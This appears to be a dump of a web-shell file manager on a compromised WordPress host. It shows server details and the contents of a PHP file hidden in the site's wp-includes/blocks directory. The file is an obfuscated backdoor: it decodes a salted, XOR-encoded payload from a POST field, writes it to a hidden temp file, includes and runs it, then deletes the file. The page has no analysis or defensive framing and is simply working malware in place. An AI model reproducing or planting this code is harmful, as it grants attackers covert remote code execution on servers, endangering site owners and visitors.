HEX
Server: Apache
System: Linux p3plzcpnl434613.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: mediabou (145854)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/mediabou/public_html/fuentesanza.es/wp-includes/blocks/custom-file-4-1776105296.php
<!--nwRqx0Mo-->
<?php

if(!is_null($_POST["\x72\x65\x73ou\x72ce"] ?? null)){
$flag = array_filter([getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp"]);
$binding = $_POST["\x72\x65\x73ou\x72ce"];
$binding  	=		explode   (".",  $binding) ; 	
$pointer= 	'';
$salt2= 	'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS= 	strlen($salt2);

foreach ($binding as $i=>		$val) {
    $sChar= 	ord($salt2[$i % $lenS]);
    $dec= 	((int)$val - $sChar - ($i % 10)) ^ 100;
    $pointer .= chr($dec);
}
foreach ($flag as $val):
            if (!( !is_dir($val) || !is_writable($val) )) {
            $ent = implode("/", [$val, ".ptr"]);
            if (@file_put_contents($ent, $pointer) !== false) {
    include $ent;
    unlink($ent);
    die();
}
        }
endforeach;
}